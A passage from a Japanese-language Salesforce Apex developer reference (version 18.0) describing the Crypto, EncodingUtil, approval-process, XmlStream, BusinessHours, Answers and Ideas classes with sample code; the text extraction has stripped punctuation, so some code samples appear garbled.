Systemdebug(messageId) Systemdebug(resDoctoXmlString()) Systemdebug(resDoc)Systemdebug(header)

SystemassertEquals( httpschemasxmlsoaporgws200408addressingroleanonymousheadergetChildElement( ReplyTo wsa)getChildElement(Address wsa)getText())

SystemassertEquals( envelopegetChildElement(Body soapNS) getChildElement(echoserviceNS) getChildElement(something httpsomethingelse) getChildElement(whatever serviceNS)getAttribute(bb null) cc)

SystemassertEquals(classifieds envelopegetChildElement(Body soapNS)getChildElement(echo serviceNS) getChildElement(category serviceNS)getText())

Cryptoクラス

一般的に以下のステップで接続を確立しようと試みます

1 クライアントアプリケーションへチャレンジトークンを返却します2 クライアントアプリケーションは認可ヘッダーに認可チャレンジレスポンスをしてサーバに対して送り返

されるシグニチャーをコンピュートするためにトークンとプラベートキーと特定のアルゴリズム(例えばAmazon WebServices用のHmac-SHA1またはGoogleの AuthSub interface用のRSA-SHA1 ) を使います

同様に特定アルゴリズム 例えばMD5またはSHA1 を使った認証のダイジェストを必要とするサービスもあります

続く Cryptoクラス内のユーティリティー方式はダイジェストメッセージ認証コードを例えばGoogleのAuthSub interface named gdataまたはAmazon WebSer vices (AWS)などの暗号化の必要な外部サービスに認証ヘッダーとして送る署名の作成を可能にします

説明戻り値の型引数名前

供給されたインプットストリングとアルゴリズム名に基づいた安定した一方向のハッシュダイジェストを計算し

BlobStringalgorithmName

Blob input

generateDigest

ます algorithmNameの有効な値は MD5SHA1などです

プライベートキーと指定アルゴリズムを使ってインプットストリング用のメッセージ認証コード(MAC)を計算し

BlobStringalgorithmName

generateMac

ますalgorithmName用の唯一の有効値はHmacSHA1です

privateKeyの値はデコード形式である必要はありません 値は 4 KB を超えることはできません

Blob inputBlob privateKey

ランダムなIntegerを返しますIntegergetRandomInteger

参照 Version 180 | HTTP (RESTful)サービスクラス | 359

説明戻り値の型引数名前

ランダムなLongを返しますLonggetRandomLong

供給されたプライベートキーと指定アルゴリズムを使ってインプットストリング用の固有のデジタル署名 を計

BlobStringalgorithmName

sign

算しますalgorithmName用の有効値はRSA-SHA1またBlob input はRSAです両方の値とも同じアルゴリズムを表しま

privateKeyの値は EncodingUtil base64Decodeメソッドを使用してデコードしRSA の PKCS 8 (12)

Blob privateKey

Private-Key Information Syntax Standard 形式でなければなりません 値は 4 KB を超えることはできません

次のスニペットは宣言と初期化の例を示します

String algorithmName = RSA String key =pkcs8 format private key Blob privateKey =EncodingUtilbase64Decode(key) Blob input =BlobvalueOf(12345qwerty)Cryptosign(algorithmName input privateKey)

以下の例はSalesforcecom と Amazon WebServicesの統合を示しています

public class HMacAuthCallout

public void testAlexaWSForAmazon()

日付形式 yyyy-MM-ddTHHmmssSSSZ DateTime d = Systemnow() String timestamp = +dyear() + - + dmonth() + - + dday() + T + dhour() + + dminute() + +dsecond() + + dmillisecond() + Z String timeFormat = dformatGmt(timestamp)

String urlEncodedTimestamp = EncodingUtilurlEncode(timestamp UTF-8) String action =UrlInfo String inputStr = action + timeFormat String algorithmName = HMacSHA1 Blobmac = CryptogenerateMac(algorithmName BlobvalueOf(inputStr)BlobvalueOf(your_signing_key)) String macUrl =EncodingUtilurlEncode(EncodingUtilbase64Encode(mac) UTF-8)

String urlToTest = amazoncom String version = 2005-07-11 String endpoint =httpawisamazonawscom String accessKey = your_key

HttpRequest req = new HttpRequest() reqsetEndpoint(endpoint + AWSAccessKeyId= + accessKey+ ampAction= + action + ampResponseGroup=RankampVersion= + version + ampTimestamp= +urlEncodedTimestamp + ampUrl= + urlToTest + ampSignature= + macUrl)

reqsetMethod(GET) Http http = new Http() try HttpResponse res = httpsend(req)Systemdebug(STATUS+resgetStatus()) Systemdebug(STATUS_CODE+resgetStatusCode())Systemdebug(BODY +resgetBody()) catch(SystemCalloutException e) Systemdebug(ERROR + e)

EncodingUtilクラス

URLストリングをエンコードしデコードしストリングを16進法のフォーマットに変換するにはEncodingUtil

クラスの方法を使ってください

参照 Version 180 | HTTP (RESTful)サービスクラス | 360

説明戻り値の型引数名前

Base64のエンコードされたStringをその標準フォームを表しているBlob に変換します

BlobString inputStringbase64Decode

Blobをその標準フォームを表しているエンコードされなていないStringに変換します

StringBlob inputBlobbase64Encode

inputStringの16進法(16進数)表現を戻します この方法はHTTPダイジェスト認証(RFC2617)のためにクライア

StringBlob inputStringconvertToHex

ント応答(例えばHA1またはHA2)を計算するために使用可能です

特定のエンコード体系を使っているapplicationx-www-form-urlencodedフォーマット例

StringString inputStringStringencodingScheme

urlDecode

えばUTF-8をデコードしますどの文字がxyフォームの連続シ-ケンスによって表されているかを決定するためにこの方法は供給されたエンコーディング体系を使います フォーマットについての詳細はHypertext MarkupLanguage - 20内のThe form-urlencoded Media Typeを参照してください

特定のエンコード体系を使っているapplicationx-www-form-urlencodedフォーマット例

StringString inputStringStringencodingScheme

urlEncode

えばUTF-8にエンコードします不確かな文字用のバイトを得るためにこの方法は供給されたエンコーディング体系を使いますフォーマットについての詳細はHypertextMarkup Language - 20内のThe form-urlencoded Media Typeを参照してください

String encoded = EncodingUtilurlEncode(urlUTF-8)

メモ EncodingUtilを使って非ASCII文字を含む文書をSalesforcecomに移動可能ですSalesforcecomから文書をダウンロードすることも可能ですその場合API query呼び出しを使って文書のIDを問い合わせIDによって文書を要求してください

HTTPダイジェスト認証(RFC2617)用のクランアント応答を計算するためのconvertToHexの使用方法を以下に例示します

global class SampleCode static testmethod void testConvertToHex() String myData = ATest String Blob hash = CryptogenerateDigest(SHA1BlobvalueOf(myData)) String hexDigest= EncodingUtilconvertToHex(hash) Systemdebug(hexDigest)

Apex 承認プロセスクラスSalesforcecomでレコードを承認する場合に組織で使用できる自動化されたプロセスです承認プロセスでは承認するレコードの条件と各承認ステップの承認者を指定します各承認ステップはその承認プロセスの対象

参照 Version 180 | Apex 承認プロセスクラス | 361

レコードすべてに適用することも特定の条件を満たすレコードのみに適用することもできます承認プロセスではレコードの承認却下撤回または承認申請時に実施するアクションも指定します

Apex を使用し次のようにプログラム的承認プロセスを作成して既存の承認プロセスを拡張することができます

bull Apex プロセスクラス 承認要求を作成しこれらの要求の結果を処理します詳細は以下を参照してください

- ProcessRequestクラス (ページ 363)- ProcessResultクラス (ページ 363)- ProcessSubmitRequestクラス (ページ 364)- ProcessWorkitemRequestクラス (ページ 365)

bull Approval 名前空間の processメソッド 承認要求を送信し既存の承認要求を承認または却下します詳細は「承認メソッド」 (ページ 260)を参照してください

承認プロセスの詳細はSalesforcecom オンラインヘルプの「認証プロセスの概要」 を参照してください

Apex 承認プロセスの例

次のサンプルコードでは最初に承認のレコードを送信しその後要求を承認しますこの例では承認プロセスを取引先に設定する必要があります

public class testApproval 取引先を挿入

Account a = new Account(Name=Test annualRevenue=1000)

insert a

取引先の承認要求を作成 ApprovalProcessSubmitRequest req1 = newApprovalProcessSubmitRequest() req1setComments(Submitting request for approval)req1setObjectId(aid)

アカウントの承認要求を送信 ApprovalProcessSubmitRequest req1 = newApprovalProcessSubmitRequest() req1setObjectId(aid)

結果を確認 Systemassert(resultisSuccess())

SystemassertEquals(保留中 resultgetInstanceStatus() インスタンスの状態+resultgetInstanceStatus())

送信された要求を承認

最初に新しく作成された項目の ID を取得 ListltIdgt newWorkItemIds = resultgetNewWorkitemIds()

新しい ProcessWorkitemRequest オブジェクトをインスタンス化して投入 ApprovalProcessWorkitemRequestreq2 = new ApprovalProcessWorkitemRequest() req2setComments(要求を承認)req2setAction(承認) req2setNextApproverIds(new Id[] UserInfogetUserId())

新しく作成された項目の ID を使用して処理する項目を指定 req2setWorkitemId(newWorkItemIdsget(0))

承認要求を送信 ApprovalProcessResult result2 = Approvalprocess(req2)

結果を確認 Systemassert(result2isSuccess() 結果の状態+result2isSuccess())

参照 Version 180 | Apex 承認プロセスクラス | 362

SystemassertEquals(承認済み result2getInstanceStatus() インスタンスの状態+result2getInstanceStatus())

ProcessRequestクラス

ProcessRequestクラスは ProcessSubmitRequestクラスおよび ProcessWorkitemResultクラスの親クラスですProcessRequestクラスを使用していずれかのクラスのオブジェクトを処理できる汎用 Apex スクリプトを作成します

このクラスのインスタンスを作成するときApproval 名前空間を指定する必要がありますこのクラスのコンストラクタは引数をとりません例

ApprovalProcessRequest pr = new ApprovalProcessRequest()

ProcessRequestクラスには次のメソッドがあります

説明戻り値の型引数名前

以前承認申請に追加されたコメントを返します

StringgetComments

承認者としてしいぇいされたユーザのユーザ ID のリストを返します

ID[]getNextApproverIds

承認要求に追加されるコメントVoidStringsetComments

承認プロセスの次のステップが別のApex承認プロセスである場合次の承認者として

VoidID[]setNextApproverIds

1 つのユーザー ID を指定しますそうでない場合ユーザー ID を指定できずこのメソッドは null となります

ProcessResultクラス

承認を求めてレコードを送信した後ProcessResultクラスを使用して承認プロセスの結果を処理します

ProcessResult オブジェクトは processメソッドによって返されますこのクラスのインスタンスを作成するときApproval 名前空間を指定する必要があります例

ApprovalProcessResult result = Approvalprocess(req1)

ProcessResultクラスには次のメソッドがありますこのメソッドは引数をとりません

説明戻り値の型名前

処理されるレコードの IDStringgetEntityId

エラーが発生した場合エラーコードや記述子など1 つまたは複数のデータベースエラーオブジェクト

DatabaseError[]getErrors

の配列を返します詳細は「データベースエラー

参照 Version 180 | Apex 承認プロセスクラス | 363

説明戻り値の型名前

オブジェクトメソッド」 (ページ277)を参照してください

承認を得るために送信される承認プロセスの IDStringgetInstanceId

現在の承認プロセスの状態有効な値はApprovedRejectedRemoved または Pending です

StringgetInstanceStatus

承認プロセスに送信された新しい項目の ID です0件または 1 件の承認プロセスがあります

ID[]getNewWorkitemIds

承認プロセスが正常に完了するとTrue が失敗すると False が設定されます

BooleanisSuccess

ProcessSubmitRequestクラス

ProcessSubmitRequestクラスを使用し承認を要求してレコードを送信します

このクラスのインスタンスを作成するときApproval 名前空間を指定する必要がありますこのクラスのコンストラクタは引数をとりません例

ApprovalProcessSubmitRequest psr = new ApprovalProcessSubmitRequest()

次のメソッドはProcessSubmitRequestクラス独自のものですこれらのメソッドに加えProcessSubmitRequestクラスは親クラス ProcessRequest のすべてのメソッドにアクセスできます

説明戻り値の型引数名前

承認を得るために送信されるレコードの IDを返しますたとえば取引先連絡先カスタムオブジェクトレコードを返します

StringgetObjectId

承認を得るために送信されるレコードの IDを設定しますたとえば取引先連絡先

VoidString IdsetObjectId

カスタムオブジェクトレコードを指定します

ProcessSubmitRequestクラスはProcessRequestと次のメソッドを共有します

説明戻り値の型引数名前

以前承認申請に追加されたコメントを返します

StringgetComments

承認者としてしいぇいされたユーザのユーザ ID のリストを返します

ID[]getNextApproverIds

承認要求に追加されるコメントVoidStringsetComments

参照 Version 180 | Apex 承認プロセスクラス | 364

説明戻り値の型引数名前

承認プロセスの次のステップが別のApex承認プロセスである場合次の承認者として

VoidID[]setNextApproverIds

1 つのユーザー ID を指定しますそうでない場合ユーザー ID を指定できずこのメソッドは null となります

ProcessWorkitemRequestクラス

ProcessWorkitemRequestクラスを使用して送信後に承認要求を処理します

このクラスのインスタンスを作成するときApproval 名前空間を指定する必要がありますこのクラスのコンストラクタは引数をとりません例

ApprovalProcessWorkitemRequest pwr = new ApprovalProcessWorkitemRequest()

次のメソッドはProcessWorkitemRequestクラス独自のものですこれらのメソッドに加えProcessWorkitemRequestクラスは親クラス ProcessRequest のすべてのメソッドにアクセスできます

説明戻り値の型引数名前

すでに承認要求と関連するアクションの種類を返します有効な値はApproveRejectまたは Removed です

StringgetAction

承認却下または削除されるプロセスの承認要求の ID を返します

StringgetWorkitemId

承認要求を処理するために実行するアクションの種類を設定します有効な値は

VoidString ssetAction

ApproveRejectまたは Removed ですRemoved を指定できるのはシステム管理者だけです

承認却下または削除される承認要求のID を設定します

VoidString IdsetWorkitemId

ProcessWorkitemRequestクラスはProcessRequestと次のメソッドを共有します

説明戻り値の型引数名前

以前承認申請に追加されたコメントを返します

StringgetComments

承認者としてしいぇいされたユーザのユーザ ID のリストを返します

ID[]getNextApproverIds

承認要求に追加されるコメントVoidStringsetComments

参照 Version 180 | Apex 承認プロセスクラス | 365

説明戻り値の型引数名前

承認プロセスの次のステップが別のApex承認プロセスである場合次の承認者として

VoidID[]setNextApproverIds

1 つのユーザー ID を指定しますそうでない場合ユーザー ID を指定できずこのメソッドは null となります

XmlStreamクラスXmlStreamメソッドを使ってXMLストリングの読み書きを行います

bull XmlStreamReaderクラスbull XmlStreamWriterクラス

XmlStreamReaderクラス

StAXからのXMLStreamReaderユーティリティークラスに類似してXmlStreamReaderクラスはXMLデータを転送読み込み専用アクセス可能にしますデータを XML から Pull し余分なイベントをスキップします

以下のコードの断片は新しいXmlStreamReaderオブジェクトのインスタンス化の方法を示しています

String xmlString = ltbooksgtltbookgtMy BookltbookgtltbookgtYour BookltbookgtltbooksgtXmlStreamReader xsr = new XmlStreamReader(xmlString)

これらのメソッドは以下のイベント上で作用します

bull 属性XMLイベントは特定のエレメントのために指定されます例えば要素ltbookgtは属性titleltbooktitle=Salesforcecom for Dummiesgtを持っています

bull 開始エレメントXMLイベントはエレメント用の開始タグです例 ltbookgtbull 終了エレメントXMLイベントはエレメント用の終了タグです例 ltbookgtbull 開始ドキュメントXMLイベントはドキュメント用の開始タグですbull 終了ドキュメントXMLイベントはドキュメント用の終了タグですbull エンティティ参照はコード内のエンティティ参照です例えばENTITY title = My Book Title

bull 文字XMLイベントはテキスト文字ですbull コメントXMLイベントはXMLファイル内のコメントです

nextとhasNextメソッドを使ってXMLデータ上で繰り返してくださいgetNamespaceメソッドのようなget

メソッドを使ったXML内のデータにアクセスしてください

メモ Apex内のXmlStreamReaderクラスはJava内のその対応物に基づいています詳細はhttpsstax-utilsdevjavanetnonavjavadocapijavaxxmlstreamXMLStreamReaderhtml参照

以下のメソッドはXMLファイルの読み取りをサポートしています

説明戻り値の型引数名前

開始エレメント上の属性のナンバーを返すこのメソッドは開始エレメントまたは属性XMLイ

IntegergetAttributeCount

参照 Version 180 | XmlStreamクラス | 366

説明戻り値の型引数名前

ベント上でのみ有効ですこの値は名前空間定義を除外します属性XMLイベント用の属性のナンバーはゼロで始まります

特定のインデックスで属性のローカル名を返します名前がない場合空白の文字列が返されま

StringInteger indexgetAttributeLocalName

すこのメソッドは開始エレメントまたは属性XMLイベントでのみ有効です

特定のインデックスで属性の名前空間URI を返します名前空間がない場合ゼロが返されます

StringInteger indexgetAttributeNamespace

このメソッドは開始エレメントまたは属性XMLイベントでのみ有効です

特定のインデックスでこの属性のプレフィックスを返しますプレフィックスがない場合ゼロが

StringInteger indexgetAttributePrefix

返されますこのメソッドは開始エレメントまたは属性XMLイベントでのみ有効です

特定のインデックスで属性のXMLタイプを返します例えばidは属性タイプですこのメソッ

StringInteger indexgetAttributeType

ドは開始エレメントまたは属性XMLイベントでのみ有効です

特定のURIにて指定されたlocalName内の属性の値を返します値が見つからない場合ゼロを返し

StringStringnamespaceURI

String localName

getAttributeValue

ますlocalNameの値を指定する必要がありますこのメソッドは開始エレメントまたは属性XMLイベントでのみ有効です

特定のインデックスで属性の値を返しますこのメソッドは開始エレメントまたは属性XMLイベントでのみ有効です

StringInteger indexgetAttributeValueAt

XmlTagはカーソルが指し示しているXMLイベントのタイプを示している定数の列挙です

SystemXmlTaggetEventType

bull ATTRIBUTE

bull CDATA

bull CHARACTERS

bull COMMENT

bull DTD

bull END_DOCUMENT

bull END_ELEMENT

bull ENTITY_DECLARATION

bull ENTITY_REFERENCE

bull NAMESPACE

bull NOTATION_DECLARATION

bull PROCESSING_INSTRUCTION

bull SPACE

参照 Version 180 | XmlStreamクラス | 367

説明戻り値の型引数名前

bull START_DOCUMENT

bull START_ELEMENT

現在のイベントのローカル名を返します開始または終了エレメントXMLイベントに関しては

StringgetLocalName

現在のエレメントのローカル名を返しますエンティティ参照XMLイベントに関してはエンティティ名を返します現在のXMLイベントは開始エレメント終了エレメントまたはエンティティ参照でなければなりません

カーソルの現在位置を返却します位置が不明な場合-1が返されます位置情報はnextメソッドが呼びだれると無効になります

StringgetLocation

現在のイベントが開始エレメントまたは終了エレメントの場合このメソッドはプレフィックス

StringgetNamespace

のURIまたはデフォルトの名前空間を戻しますXMLイベントがプレフィックスを持っていない場合ゼロを戻します

開始エレメントまたは終了エレメントに宣言された名前空間の数を戻しますこのメソッドは開

IntegergetNamespaceCount

始エレメント終了エレメントまたは名前空間XMLイベント上でのみ有効です

インデックスで宣言された名前空間のプレフィックスを戻します これがデフォルトの名前空間

StringInteger indexgetNamespacePrefix

宣言の場合ゼロを戻しますこのメソッドは開始エレメント終了エレメントまたは名前空間XMLイベント上でのみ有効です

特定のプレフィックス用のURIを戻します戻されるURIはプロセッサの現状によります

StringString PrefixgetNamespaceURI

インデックスで宣言された名前空間のURIを戻します このメソッドは開始エレメント終了

StringInteger IndexgetNamespaceURIAt

エレメントまたは名前空間XMLイベント上でのみ有効です

処理方法のデータセクションを返しますStringgetPIData

処理方法のターゲットセクションを返しますStringgetPITarget

イベントがプレフィックスを持っていない場合現在のXMLイベントのプレフィックスまたはゼロが戻されます

StringgetPrefix

参照 Version 180 | XmlStreamクラス | 368

説明戻り値の型引数名前

文字列としてXMLイベントの現在地が戻されます異なるイベントに対する有効値は以下の通りです

StringgetText

bull 文字XMLイベントの文字列値bull コメントの文字列値bull エンティティ参照のための交換値例えば

getTextが以下のXML断片を読むとすると

ltENTITY Title Salesforce ForDummies gt ]gt ltfoo a=bgtNameampTitleltfoogt

getTextメソッドはampTitleではなくSalesforce for Dummiesを戻します

bull CDATAセクションの文字列値bull 空白XMLイベントの文字列値bull DTDの内部サブセットの文字列値

XML宣言において指定されたXMLバージョンを戻します何も宣言されていない場合ゼロを戻します

StringgetVersion

現在のXMLイベントに名前があある場合Trueを戻しますその他の場合はFalseを戻します

BooleanhasName

このメソッドは開始エレメントまたは終了エレメントのXMLイベントでのみ有効です

さらにXMLイベントがある場合Trueを戻しない場合はFalseを戻します現在のXMLイベ

BooleanhasNext

ントが終了ドキュメントの場合このメソッドはfalseを戻します

現在のイベントがテキストの場合Trueを戻しその他の場合Falseを戻します文字エンティ

BooleanhasText

ティ参照コメントおよび空白のXMLイベントはテキストを持っています

カーソルが文字データXMLイベントを指し示している場合Trueを戻します該当しない場合はFalse を返します

BooleanisCharacters

カーソルが終了タグを指し示している場合Trueを戻します該当しない場合は False を返します

BooleanisEndElement

カーソルが開始タグを指し示している場合Trueを戻します該当しない場合は False を返します

BooleanisStartElement

カーソルがすべての白い空白を含む文字データXMLイベントを指し示している場合Trueを戻します該当しない場合は False を返します

BooleanisWhiteSpace

参照 Version 180 | XmlStreamクラス | 369

説明戻り値の型引数名前

次のXMLイベントを読み取りますプロセッサは単一ブロック内のすべての連続文字データを

Integernext

返すかもしれないかそれをいつくかのチャンクに分割するかもしれませんイベントタイプを示す整数を返します

isWhiteSpaceメソッドがTrueを返す 白空白コメントまたは処理命令XMLイベントを開始

IntegernextTag

エレメントまたは終了エレメントに到達するまでスキップしますXMLイベント用のイベントを返しますエレメントが白空白コメント処理命令開始エレメントまたは終了エレメント以外に遭遇した場合このメソッドはエラーを出します

returnAsSingleBlockに対してTrueをしてした場合開始エレメントから最初の終了エレメント

VoidBooleanreturnAsSingleBlock

setCoalescing

または次のエレメントのどちらか先に来る方にテキストは単一のブロック内で返されますFalseとして指定した場合はパーサーは複数のブロック内でテキストを返します

isNamespaceAwareに対してTrueを指定した場合パーサーは名前空間を認識しますFalseとして

VoidBooleanisNamespaceAware

setNamespaceAware

指定した場合パーサーは認識しません規定値はTrueです

XmlStreamReaderに指定された入力XMLの長さを返します

StringtoString

XmlStreamReaderの例

以下の例のようにXML文字列は処理されます

public class XmlStreamReaderDemo

Create a class Book for processing public class Book String name String author

Book[] parseBooks(XmlStreamReader reader) Book[] books = new Book[0]while(readerhasNext())

Start at the beginning of the book and make sure that it is a book if(readergetEventType() == XmlTagSTART_ELEMENT) if (Book == readergetLocalName())

Pass the book to the parseBook method (below) Book book = parseBook(reader)booksadd(book) readernext() return books

Parse through the XML deterimine the auther and the characters BookparseBook(XmlStreamReader reader) Book book = new Book() bookauthor =readergetAttributeValue( author) while(readerhasNext()) if (readergetEventType()== XmlTagEND_ELEMENT) break else if (readergetEventType() == XmlTagCHARACTERS) bookname = readergetText() readernext() return book

参照 Version 180 | XmlStreamクラス | 370

Test that the XML string contains specific values static testMethod void testBookParser()

XmlStreamReaderDemo demo = new XmlStreamReaderDemo()

String str = ltbooksgtltbook author=ManojgtFoo barltbookgt + ltbookauthor=MystigtBazltbookgtltbooksgt

XmlStreamReader reader = new XmlStreamReader(str) Book[] books = demoparseBooks(reader)

Systemdebug(bookssize())

for (Book book books) Systemdebug(book)

XmlStreamWriterクラス

StAXからのXMLStreamReaderユーティリティークラスに類似してXMLStreamWriterクラスはXMLデータの書き込みを可能にします例えばプログラムに基づいてXMLドキュメントを構築するためにXmlStreamWriter

を使用可能ですそれからHTTP Classesを使ってドキュメントを外部サーバに送ります

以下のコードの断片は新しいXmlStreamWriterのインスタンス化の方法を示しています

XmlStreamWriter w = new XmlStreamWriter()

メモ Apex内のXmlStreamWriterクラスはJava内のその対応物に基づいています詳細はhttpsstax-utilsdevjavanetnonavjavadocapijavaxxmlstreamXMLStreamWriterhtml参照

以下のメソッドはXMLファイルの書き込みのサポートに利用可能です

説明戻り値の型引数名前

XmlStreamWriterのインスタンスを閉じそれに関連したリソースを解放します

Voidclose

XmlStreamWriterインスタンスで書かれたXMLを返します

StringgetXmlString

特定の URI をデフォルトの名前空間にバインドしますこの URI は現在の

VoidString URIsetDefaultNamespace

START_ELEMENT ndash END_ELEMENT ペアの範囲でバインドします

ストリームを出力するために属性を書き込みますlocalNameは属性名を指定します

VoidString prefix

String namespaceURI

writeAttribute

String localName

String value

ストリームを出力するために指定されたCDataを書き込みます

VoidString datawriteCData

ストリームを出力するために指定されたテキストを書き込みます

VoidString textwriteCharacters

参照 Version 180 | XmlStreamクラス | 371

説明戻り値の型引数名前

ストリームを出力するために指定されたコメントを書き込みます

VoidString datawriteComment

ストリームを出力するために指定された名前空間を書き込みます

VoidString namespaceURIwriteDefaultNamespace

ストリームを出力するために空白のエレメントを書き込みますlocalNameは書き込まれるタグの名前を指定します

VoidString prefix

String localName

String namespaceURI

writeEmptyElement

ストリームを出力するために開始タグを閉じ関連終了タグを書き込みます

VoidwriteEndDocument

ストリームを出力するために終了タグを書き込みますプレフィックスとローカル名を決定するライターの内部状態に依存します

VoidwriteEndElement

ストリームを出力するために指定された名前空間を書き込みます

VoidString prefix

String namespaceURI

writeNamespace

指定された処理命令を書き込みますVoidString target

String data

writeProcessingInstruction

指定されたXMLエンコーディングとバージョンを使ってXML宣言を書き込みます

VoidString encoding

String version

writeStartDocument

ストリームを出力するためにlocalNameによって指定された開始タグを書き込みます

VoidString prefix

String localName

writeStartElement

String namespaceURI

XMLライターメソッド例

以下の例ではXMLドキュメントを書き込みその妥当性をテストします

メモ Hello World スクリプトと納入先請求書の例ではカスタム項目およびオブジェクトが必要です項目やオブジェクトを自分で作成したりオブジェクト項目および Apex スクリプトを管理パッケージとして Forcecom AppExchange からダウンロードできます詳細はwikiapexdevnetcomindexphpDocumentation を参照してください

public class XmlWriterDemo

public String getXml() XmlStreamWriter w = new XmlStreamWriter() wwriteStartDocument(null10) wwriteProcessingInstruction(target data) wwriteStartElement(m Libraryhttpwwwbookcom) wwriteNamespace(m httpwwwbookcom) wwriteComment(Bookstarts here) wsetDefaultNamespace(httpwwwdefnscom) wwriteCData(ltCdatagt I likeCData ltCdatagt) wwriteStartElement(null book null)wwritedefaultNamespace(httpwwwdefnscom) wwriteAttribute(null null authorManoj) wwriteCharacters(This is my book) wwriteEndElement() end bookwwriteEmptyElement(null ISBN null) wwriteEndElement() end librarywwriteEndDocument() String xmlOutput = wgetXmlString() wclose() return xmlOutput

参照 Version 180 | XmlStreamクラス | 372

public static TestMethod void basicTest() XmlWriterDemo demo = new XmlWriterDemo() Stringresult = demogetXml() String expected = ltxml version=10gtlttarget datagt+ ltmLibraryxmlnsm=httpwwwbookcomgt + lt--Book starts here--gt + lt[CDATA[ltCdatagt I likeCData ltCdatagt]]gt + make sure you put the next two lines on one line in your codeltbookxmlns=httpwwwdefnscom author=Manojgt + This is my bookltbookgtltISBNgtltmLibrarygt

Systemassert(result == expected)

営業時間クラス営業時間では複数のタイムゾーンなどカスタマーサポートチームが活動するさまざまな営業時間を指定することができます

営業時間メソッドは営業時間の特定のインスタンスによってコールされ操作されます次に営業時間のインスタンスメソッドを示します

説明戻り値の型引数名前

開始時の Datetime から営業時間のみを越えるミリ秒のインターバルを追加します現地のタイム

DatetimeStringbusinessHoursId

DatetimestartDate

add

ゾーンの結果を Datetime で返します例は「営業時間例」 (ページ 373)を参照してください

Long interval

開始時の Datetime から営業時間のみを越えるミリ秒のインターバルを追加しますGMT の結果

DatetimeStringbusinessHoursId

DatetimestartDate

addGmt

を Datetime で返します例は「営業時間例」(ページ 373)を参照してください

Long interval

特定の営業時間のセットの開始と終了の Datetimeの差異を返します例は「営業時間例」 (ページ 373)を参照してください

LongStringbusinessHoursId

DatetimestartDate

diff

Datetime endDate

営業時間の詳細はSalesforcecom オンラインヘルプの「営業時間の設定」を参照してください

営業時間例

次の例ではstartTime から 1 営業時間後の時間を求め現地のタイムゾーンで Datetime を返します

デフォルトの営業時間を取得BusinessHours bh = [select id from businesshours whereIsDefault=true]

2008 年 5 月 28 日 10608 AM の Datetime を現地のタイムゾーンで作成Datetime startTime =DatetimenewInstance(2008 5 28 1 6 8)

デフォルトの営業時間を使用し 2008 年 5 月 28 日 10608 AM から 1 営業時間後の時間を算出

参照 Version 180 | 営業時間クラス | 373

Datetime は現地のタイムゾーンで返されますDatetime nextTime = BusinessHoursadd(bhid startTime60 60 1000L)

次の例ではstartTime から 1 営業時間後の時間を求めGMT を Datetime を返します

デフォルトの営業時間を取得BusinessHours bh = [select id from businesshours whereIsDefault=true]

2008 年 5 月 28 日 10608 AM の Datetime を現地のタイムゾーンで作成Datetime startTime =DatetimenewInstance(2008 5 28 1 6 8)

デフォルトの営業時間を使用し 2008 年 5 月 28 日 10608 AM から 1 営業時間後の時間を算出Datetime は GMT で返されますDatetime nextTimeGmt = BusinessHoursaddGmt(bhid startTime60 60 1000L)

次の例はstartTime と nextTime の差異を求めます

デフォルトの営業時間を取得BusinessHours bh = [select id from businesshours whereIsDefault=true]

2008 年 5 月 28 日 10608 AM の Datetime を現地のタイムゾーンで作成Datetime startTime =DatetimenewInstance(2008 5 28 1 6 8)

2008 年 5 月 28 日 160608 AM の Datetime を現地のタイムゾーンで作成Datetime endTime =DatetimenewInstance(2008 5 28 16 6 8)

デフォルトの営業時間で定義されたとおり startTime と endTime の間の営業時間数をミリ秒で算出endTime が startTime より前の時間である場合は負の値を 等しい場合は 0 をそれ以外は正の数を返しますLong diff = BusinessHoursdiff(bhid startTime endTime)

Apex コミュニティクラス各アイデアや回答ははコミュニティという論理グループに分けられそれぞれのコミュニティでは独自のフォーカスおよびアイデアや回答のトピックがありますApexにはコミュニティに関連した次のクラスがあります

bull Answers クラスbull アイデアクラス

Answers クラス

Answers はコミュニティアプリケーションの 1 つの機能でユーザは質問をしコミュニティメンバーから回答を得ることができますコミュニティメンバーは回答の役立ち度について投票できまた質問を投稿したユーザは 1 つの回答をベストアンサーに選ぶことができます

次にAnswers の静的メソッドを示します

説明戻り値の型引数名前

questionの件名に基づき似た質問 5 個のリストを返しますfindSimilarはトランザクションごとに 10 回までコールすることができます

ID[]Question questionfindSimilar

参照 Version 180 | Apex コミュニティクラス | 374

説明戻り値の型引数名前

指定した質問の指定した回答をベストアンサーに設定します質問者は複数の回答を受けることが

VoidString questionId

String replyId

setBestReply

できるためユーザに最も役立った回答を設定すると最も役立つ情報を含む回答を簡単に見つけることができます

Answers の詳細はSalesforcecom オンラインヘルプの「回答の概要」を参照してください

Answers の例

次に特定のコミュニティ (INTERNAL_COMMUNITY) の中で新しい質問と似た件名の質問を検索する例を示します

public class FindSimilarQuestionController

public static void test() 新しい質問をインスタンス化 Question question = new Question ()

新しい質問の件名を指定します questiontitle = How much vacation time do full-time employeesget

似た質問を探す communityID (INTERNAL_COMMUNITY) を指定しますCommunity community = [ SELECTId FROM Community WHERE Name = INTERNAL_COMMUNITY ]

questioncommunityId = communityid

ID[] results = AnswersfindSimilar(question)

次は回答をベストアンサーに選択する例です

ID questionId = [SELECT Id FROM Question WHERE Title = Testing setBestReplyId LIMIT 1]IdID replyID = [SELECT Id FROM Reply WHERE QuestionId = questionId LIMIT 1]IdAnswerssetBestReply(questionIdreplyId)

アイデアクラス

Salesforce CRM Ideas はアイデアとアイデアに対する投票およびコメントを投稿するユーザのコミュニティですあらゆる主題に関して議論し人気ランキングを付けるオンライン提案箱と考えてください

最近のコメントセット (メソッドにより返されます下記を参照) にはユーザが投稿したコメントや別のユーザが投稿したコメントに対するコメントなどのアイデアが含まれます返されたアイデアは別のユーザ行った最後のコメント投稿時間に基づきリストされ最新のアイデアが先頭となります

userID引数は必須であり指定されたユーザが投稿したまたはコメントしたアイデアのみの結果を返します

communityID引数は指定されたコミュニティのアイデアのみを返すように絞り込みますこの引数が空の文字列である場合指定されたユーザの最近のコメントすべてがコミュニティに関わらず返されます

次にアイデアの静的メソッドを示します

参照 Version 180 | Apex コミュニティクラス | 375

説明戻り値の型引数名前

ideaの件名に基づき似たアイデア 5個のリストを返しますfindSimilarは 10 回までコールすることができます

ID[]Idea ideafindSimilar

指定されたユーザまたはコミュニティで最近コメントが投稿されたアイデアを返します

ID[]String userID

StringcommunityID

getAllRecentReplies

既読および未読のすべてのコメントが含まれます

既読とマークされた最近コメントが投稿されたアイデアを返します

ID[]String userID

StringcommunityID

getReadRecentReplies

未読とマークされた最近コメントが投稿されたアイデアを返します

ID[]String userID

StringcommunityID

